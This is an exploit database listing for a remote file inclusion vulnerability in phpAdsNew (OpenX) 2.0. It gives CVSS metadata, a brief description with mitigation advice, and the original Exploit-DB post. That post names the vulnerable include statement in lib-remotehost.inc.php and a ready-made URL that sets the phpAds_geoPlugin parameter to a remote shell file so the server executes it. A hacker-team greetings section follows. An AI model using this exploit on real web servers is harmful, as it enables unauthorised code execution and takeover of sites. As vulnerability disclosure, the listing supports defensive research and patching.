OpenX (phpAdsNew) Remote File inclusion Vulnerability

vendor:

phpAdsNew

by:

ViRuS Qalaa

9,3

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: phpAdsNew

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: YES

Related CWE: N/A

CPE: a:openads:openads

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2010

OpenX (phpAdsNew) Remote File inclusion Vulnerability

OpenX (phpAdsNew) is vulnerable to a remote file inclusion vulnerability. This vulnerability is caused due to the use of user-supplied input without proper validation. A remote attacker can exploit this vulnerability to include a remote file containing malicious code and execute it in the context of the webserver process.

Mitigation:

Input validation should be performed to ensure that user-supplied input is properly sanitized and does not contain malicious code.

Source

Exploit-DB raw data:

# Exploit Title:    OpenX (phpAdsNew) Remote File inclusion Vulnerability
# Date: 2010/07/20
# Author: ViRuS Qalaa
# Email: em9@live.com
# My Sites : www.pal-mafia.com & www.vbspiders.com
# Script url:
http://www.opensourcescripts.com/dir/PHP/Ad_Management/phpadsnew_11.html
# download Script:
http://sourceforge.net/projects/phpadsnew/files/Current%20Release/Openads%202.0.11-pr1/Openads-2.0.11-pr1.zip/download
# Version:2.0
# Tested on: Windows
# Team hacker:ViRuS Qalaa & HaCkEr aRaR >>>X-MaN HaCk3r TeaM
# HaCkEr aRaR: y.0@hotmail.de
:::::::::::::::::::::::::
=================Exploit=================

-=[ vuln c0de ]=-
include_once ($phpAds_geoPlugin);
/libraries/lib-remotehost.inc.php
Line:109

----exploit----

http://
{localhost}/{path}/libraries/lib-remotehost.inc.php?phpAds_geoPlugin==shell.txt?

---------greatz----------
Greatz to :
hacker arar,ViRuS KSA,Q2,Spy-iq

and My friends Others and My friends in MSN
EnJoY o_O